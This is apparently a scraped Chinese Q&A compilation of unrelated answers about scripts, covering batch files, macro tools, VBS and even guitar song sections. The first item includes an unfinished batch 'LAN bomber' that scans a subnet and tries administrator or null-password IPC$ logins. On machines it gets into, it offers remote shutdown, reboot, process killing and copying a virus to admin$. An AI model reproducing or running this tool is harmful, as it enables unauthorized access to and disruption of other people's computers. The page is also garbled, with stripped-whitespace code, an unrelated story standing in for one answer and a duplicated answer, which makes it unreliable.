扫b段脚本
1. 求遍历网段ip的shell脚本
是可以借鉴这里面的一些东西而已，因为只要把这两段小脚本中的一些东西结合起来可以达到你的要求(Windows环境中)，不是要完全的照搬，呵呵。
shell不会玩，Windows下的bat还会点...
还有一点要在Windows中调用linux中的shell脚本啊？
应该不可能...或者很难！
在Windows下我才能做到，不过太费时间了，给你两段现成的代码，如果你有时间有兴趣的话，可以在Windows下玩玩这代码，你有兴趣的话可以结合一下，然后再做一些修改就能达到你要的要求！
第一段：
@echooff
title扫描在线IP
::MODEcon:COLS=60LINES=18
color0a
::装饰。
:kaishi
cls
for/l%%iin(1,1,4)doecho.
set/pqishi=起始IP：
set/pjieshu=终止IP：
IFERRORLEVEL1echo错误的IP地址格式!&&pause&&gotokaishi
echo.
::从键盘获得两个变量的值。
for/f"tokens=1-4delims=."%%ain("%qishi%")do(
if%%aLSS0gotoerror_2
if%%aGTR255gotoerror_2
if%%bLSS0gotoerror_2
if%%bGTR255gotoerror_2
if%%cLSS0gotoerror_2
if%%cGTR255gotoerror_2
if%%dLSS0gotoerror_2
if%%dGTR255gotoerror_2
setv1=%%a
setv2=%%b
setv3=%%c
setv4=%%d
)
::分离起始IP的四个段并赋值，判断IP是否正确。
for/f"tokens=1-4delims=."%%ain("%jieshu%")do(
if%%aLSS0gotoerror_2
if%%aGTR255gotoerror_2
if%%bLSS0gotoerror_2
if%%bGTR255gotoerror_2
if%%cLSS0gotoerror_2
if%%cGTR255gotoerror_2
if%%dLSS0gotoerror_2
if%%dGTR255gotoerror_2
setv5=%%a
setv6=%%b
setv7=%%c
setv8=%%d
)
::分离终止IP的四个段并赋值，判断IP是否正确。
IF%V5%LSS%V1%echo错误：终止IP不能小于起始IP。&pause&gotokaishi
::判断终止IP与起始IP的正确性。
IF%V4%LEQ%V8%setzeng_1=1
IF%V4%GEQ%V8%setzeng_1=-1
IF%v3%LEQ%v7%setzeng_2=1
IF%V3%GEQ%V7%setzeng_2=-1
IF%v2%LEQ%v6%setzeng_3=1
IF%v2%GEQ%v6%setzeng_3=-1
for/L%%din(%v1%,1,%v5%)do(
for/L%%cin(%v2%,%zeng_3%,%v6%)do(
for/L%%bin(%v3%,%zeng_2%,%v7%)do(
for/L%%ain(%v4%,%zeng_1%,%v8%)do(
ping/n1%%d.%%c.%%b.%%a>nul&&echo%%d.%%c.%%b.%%aOK||echo%%d.%%c.%%b.%%aERROR
echo%%d.%%c.%%b.%%a
)
)
)
)
echo扫描完毕!
pause&gotokaishi
:error_2
echo错误的IP地址!
pause
gotokaishi
第二段（未编写测试完）：
@echooff
titleWin2k局域网轰炸器未完待续～す珹す～
color0a
:start
echo-------------------------------------------------------------------------------
echo收集信息中...&echo.
for/f"tokens=15"%%iin('ipconfig^|find/i"ipaddress"')dosetip=%%i
for/f"tokens=1,2,3delims=."%%iin('echo!ip!')dosetwd=%%i.%%j.%%k
echo你的IP地址是：!ip!
echo你所在的网段是：!wd!
echo.
echo---请选择扫描在线主机的扫描方式---
echo1.ping2.netview3.exit注：直接按回车键使用默认方式!【ping测试】
set/pfs=请输入：
if"%fs%"==""gotoping
if"%fs%"=="1"gotoping
if"%fs%"=="2"gotonetview
if"%fs%"=="3"exit
cls&gotostart
:ping
echo.
echo输入需要扫描的IP范围(不需输网段)1至255之内结尾数不能小于起始数!
set/pqs=起始数：
set/pjs=结束数：
if!qs!gtr!js!echo起始数不能大于结束数!&&ping127.1/n2>nul2>nul&&gotoping
echo正在扫描!wd!.!qs!至!wd!.!js!范围内的主机在线情况...
echo-------------------------------------------------------------------------------
for/l%%iin(!qs!,1,!js!)do(
ping!wd!.%%i/n1>nul2>nul&&echo!wd!.%%i在线!&&echo!wd!.%%i>>zx.txt||echo!wd!.%%i离线!
)
echo--------------------------------------------------------------------------------
gotoipc$scan
:netview
echo.
echo此局域网内在线主机：
echo-------------------------------------------------------------------------------
FOR/F"eol=-delims=\"%%cin('netview')do(
FOR/F"eol=服"%%iin('echo%%c')do(
FOR/F"eol=命"%%iin('echo%%c')do(
echo%%i&&echo%%i>>zx.txt
)
)
)
echo--------------------------------------------------------------------------------
gotoipc$scan
:ipc$scan
echo.
echo即将开始ipc$扫描...
echo.
ifnotexistzx.txtechosorry!此局域网中无在线主机,无法进行ipc$扫描!正在返回主菜单...&&ping127.1/n5>nul2>nul&&cls&&gotostart
echoipc$扫描时使用何用户?注：直接按回车键使用默认用户!【administrator】
echo要用空用户（空链接）请输入【null】
set/puser=请输入：
if"!user!"==""setuser=administrator
if"!user!"=="null"setuser=
echoipc$扫描时使用何密码?注：直接按回车键使用默认密码!【空】
set/ppassword=请输入：
if"!password!"==""setpassword=
echo.
echo你选择的用户为：!user!
echo你选择的密码为：!password!
ping127.1/n2>nul2>nul
echo.
echo正在扫描能ipc$连接的机子...
setipc$=0
for/f%%iin('typezx.txt')do(
echo-------------------------------------------------------------------------------
netuse\%%iipc$"!password!"/user:"!user!">nul&&(
set/aipc$=!ipc$!+1
echo连接%%i成功!
echo%%i>>ipc.txt
netuse\%%i/del>nul2>nul
)||(
echo连接%%i失败!↑↑↑以上是错误提示!↑↑↑
)
)
echo--------------------------------------------------------------------------------
echo按任意键进入下一步！&pause>nul
:kill
cls
for/l%%iin(1,1,9)doecho.
echo扫描到!ipc$!台机器能ipc$连接成功!
for/l%%iin(1,1,3)doecho.
echo请问美丽的大姐您要怎么捉弄他们?
echo.
echo1：关了他们2：重启他们3：开启服务
echo4：传送病毒5：弹出消息6：关闭进程
echo.
set/pshr=请选择：
if"!shr!"=="1"gotogj
if"!shr!"=="2"gotocq
if"!shr!"=="3"gotofw
if"!shr!"=="4"gotobd
if"!shr!"=="5"gotoxx
if"!shr!"=="6"gotojc
gotokill
:gj
for/f%%iin('typeipc.txt')do(
shutdown-m\%%i-s-t0
)
echo完成!按任意键返回主菜单!
pause>nul&gotostart
:cq
for/f%%iin('typeipc.txt')do(
shutdown-m\%%i-r-t0
)
echo完成!按任意键返回主菜单!
pause>nul&gotostart
:fw
set/pfwm=请输入需要开启的服务名：
::还需检测路劲
for/f%%iin('typeipc.txt')do(
netstart\%%i!fwm!
)
echo完成!按任意键返回主菜单!
pause>nul&gotostart
:bd
set/pbdm=请输入要传送的病毒的路径：
for/f%%iin('typeipc.txt')do(
!bdm!\%%iadmin$
::还需开启对方计划任务服务运行病毒
)
echo完成!按任意键返回主菜单!
pause>nul&gotostart
:xx
set/pxx=请输入要弹出的消息：
for/f%%iin('typeipc.txt')do(
echo正在弹消息中...
sc\%%iconfigmessengerstart=auto>nul2>nul
sc\%%istartmessenger>nul2>nul
netsend%%i!xx!
)
echo完成!按任意键返回主菜单!
pause>nul&gotostart
:jc
set/pjc=请输入需要关闭的进程名：
for/f%%iin('typeipc.txt')do(
!bdm!\%%iadmin$
taskkill/s\%%i/f/im!jc!
)
echo完成!按任意键返回主菜单!
pause>nul&gotostart1
pause
2. 吉他谱上面扫弦有个b段什么意思
这首歌应该是分为A、B、C段，前四句为A段，这首歌的B段是A段的升华，C段则是乐曲达到高潮时的段落。歌曲的演唱顺序是AAB、然后ABCC。
3. 按键精灵定时执行脚本的问题，No delay。谢谢。简要说：脚本A在一定的时间段执行，脚本B在另一个时间段执行
仅仅需要读取时间就可以了，不需要定义Now。而且你的MyHour = Hour(MyTime),但是MyVar = Minute(Now)这里又回到NOW。还有i=1和ii=2，看不出在这里有什么用，难道是AB脚本中需要使用？那你就在AB脚本里面判断是否是设定值啊，不要在一条命令里面设定判断太多值。还有最关键的是，经过我的测试，时间上是不能多条件判断的，建议你采用数组。粗粗按你的脚本写了下
Dim MyHour,MyVar,t(3),m(3),tm
t(0) =11 : t(1) = 13 : t(2) = 15 : t(3) = 17
m(0) = 12 : m(1) = 14 : m(2) = 16 : m(3) = 18
Rem 脚本C
tm = 0
Do While true
MyHour = Hour(Time)
MyVar = Minute(Time)
If MyHour = 18 and MyVar = t(tm)Then
MsgBox "现在是A脚本"
ElseIf MyHour = 18 and MyVar = m(tm) Then
MsgBox "现在是B脚本"
End If
tm = tm + 1
If tm > 4 Then
Exit Do
End If
loop
goto 脚本C
4. 买来的小软件也就是脚本，怎么看这个脚本有没有病毒或者能扫号，扫号就是把我用脚本的数据发到别人的电脑
你好，只需要使用杀毒软件进行检测即可，以腾讯电脑管家为例，右击你要检测的杀毒软件，选择查毒即可
另外：
1、要避免病毒很容易，使用沙箱软件运行即可，如SandBoxie
2、但是避免扫号比较困难，杀毒软件可以检测，但是如果扫号行为在病毒库中没有记录，那么可能杀毒软件不会报警，所以不要轻易输入你的账号和密码，可以先用一些测试号码试一下！
有其他问题欢迎到电脑管家企业平台咨询，我们将竭诚为您服务！
腾讯电脑管家企业平台：http://..com/c/guanjia/
5. 谁能写个自动扫雷的脚本
( B )一个登山者非常渴望征服南美洲的最高峰——阿空加瓜山。
( 5 )经过数年的精心准备，他终于出发了。因为想要独享征服
( 5 )者的荣誉，他决定一个人上路。
( 6 )几小时过去了，天色越来越暗，但他不愿露营，仍继续往
( 6 )上爬。又过了一会儿，天完全黑下来。当爬到距主峰只有
( Q )100米的山脊上时，登山者一不小心，向下滑去。他跌落的
( Q )速度很快，突然他感到腰间猛地一顿，几乎要把身体截成两
段。“太好了！”他想，“幸好我记得把保护索钉牢。”原来他
被自己的保险索拉住了，现在他全靠那根绳子吊在半空。
6. 按键精灵后台运行脚本
你的脚本就是获取当前的窗口句柄，，当你脚本获取完句柄运行后你退出游戏重启游戏句柄变了。。需要重启脚本再度运行，或者你编的脚本加上固定的句柄名字来查找句柄如HwndEx = Plugin.Window.Search("记事本")
7. 求高手给写个VBS脚本！！！！
'保存为vbs类型文件
set shell=createobject("wscript.shell")
set open=createobject("scripting.filesystemobject")
set word=createobject("Word.Application")
set tasks=word.tasks
file1="aaa.txt" '假设这是aaa,修改下路径即可
file2="bbb.txt" '假设这是bbb,修改下路径即可
file3="c.exe" '某c程序
button="^N" '某开始按钮的快捷键,你必须先确定这个快捷键按钮可以用键盘操作,且是否有效."^N"是Ctrl+N,"%N"是Alt+N.N可以是别的组合键
tmp1=envision("tmp")&"\tmp1" '这是aaa的临时记录文件
tmp2=envision("tmp")&"\tmp2" '这是bbb的临时记录文件
public function prtitle
for each i in tasks
if i.visible then prtitle=i.name:word.quit:exit for
next
end function
public function dir(byval exist)
if open.folderexists(exist&"\") then
if open.folderexists(exist) then dir=open.getfolder(exist) else dir=""
else
if open.fileexists(exist) then dir=open.getfile(exist) else dir=""
end if
end function
function (byval file1,file2)
open.file file1,file2
end function
public function Envision(byval Val)
envision=shell.environment("Process").item(val)
if lcase(val)=lcase("cd") then envision=open.getfolder(".")
end function
'第一次必须记录文件,否则往后程序无法得知是否更新
'do 这是循环开始
if dir(file2)="" then open.createtextfile(file2).write ""
if dir(file1)="" then shell.popup file1&"不存在,程序无法执行!",3,wscript.scriptname,64:wscript.quit '如果aaa不存在的话程序自动退出
if open.getfile(file1).size=0 then shell.popup file1&"是空文件,程序无法执行!",3,wscript.scriptname,64:wscript.quit '如果aaa是空文件的话程序自动退出
read1=open.opentextfile(file1).readall
if dir(tmp2)="" then open.createtextfile(tmp2).write ""
if dir(tmp1)="" then
open.createtextfile(tmp1).write read1
if open.getfile(file1).size<>open.getfile(tmp1).size then
file1,file2
if open.getfile(file2).size<>open.getfile(tmp2).size then
shell.run file3,,1
shell.appactivate prtitle
shell.sendkeys button
else
popup file2&"没有变化",3,wscript.scriptname,64 '如不需提示可删除此行
'shell.run file3,,1
'shell.appactivate prtitle
'shell.sendkeys button
'wscript.quit '如果bbb没有更新的话就退出程序.这里如需要退出就把这一行第一个'字符去掉即可退出.反之如果不需要则不管或删除此行.若需要执行某C程序则将上面3行前面的'去掉
end if
else
popup file1&"没有变化,如果是第一次运行本程序,请再运行一次.",3,wscript.scriptname,64 '如不需提示可删除此行
end if
else
if open.getfile(file1).size<>open.getfile(tmp1).size then
file1,file2
if open.getfile(file2).size<>open.getfile(tmp2).size then
shell.run file3,,1
shell.appactivate prtitle
shell.sendkeys button
else
shell.popup file2&"没有变化",3,wscript.scriptname,64 '如不需提示可删除此行
'shell.run file3,,1
'shell.appactivate prtitle
'shell.
'shell.sendkeys button
'wscript.quit '如果bbb没有更新的话就退出程序.这里如需要退出就把这一行第一个'字符去掉即可退出.反之如果不需要则不管或删除此行.若需要执行某C程序则将上面3行前面的'去掉
end if
else
shell.popup file1&"没有变化",3,wscript.scriptname,64 '如不需提示可删除此行
end if
end if
'wscript.sleep 1000*30 '30秒执行一次
'loop 循环结束
'==================================
'代码没有经过任何测试,如果不符合实际要求.可以网络hi我.怎么用法自己调整.如需要循环执行将32行的'do前面的'去掉,和76行的'loop前面的'去掉.循环的时候系统肯定会很慢,不保证能正常使用电脑.如需定时循环一次可以将75行最前面的'去掉.
'==================================
8. 按键精灵 先运行A脚本，到了指定时间无限循环B脚本
你这里有逻辑漏洞，因为你启动脚本有可能是晚上10点之后，你没有交代如果是晚上10点之后启动脚本，是执行A脚本还是执行B脚本，所以我只提供一个“晚上10点之前启动脚本”的代码。
DimID
ID=BeginThread(A)
Do
IfDateDiff("s",Date&"22:00:00",Now)>0Then
StopThreadID
Delay200
BeginThreadB
ExitDo
EndIf
Delay400
Loop
SubA
WhileTrue
'这里写A段代码
Wend
EndSub
SubB
WhileTrue
'这里写B段代码
Wend
EndSub
9. 按键精灵。我想在这个脚本中，循环执行 “按下B键”怎么设置
你这里有逻辑漏洞，因为你启动脚本有可能是晚上10点之后，你没有交代如果是晚上10点之后启动脚本，是执行A脚本还是执行B脚本，所以我只提供一个“晚上10点之前启动脚本”的代码。
DimID
ID=BeginThread(A)
Do
IfDateDiff("s",Date&"22:00:00",Now)>0Then
StopThreadID
Delay200
BeginThreadB
ExitDo
EndIf
Delay400
Loop
SubA
WhileTrue
'这里写A段代码
Wend
EndSub
SubB
WhileTrue
'这里写B段代码
Wend
EndSub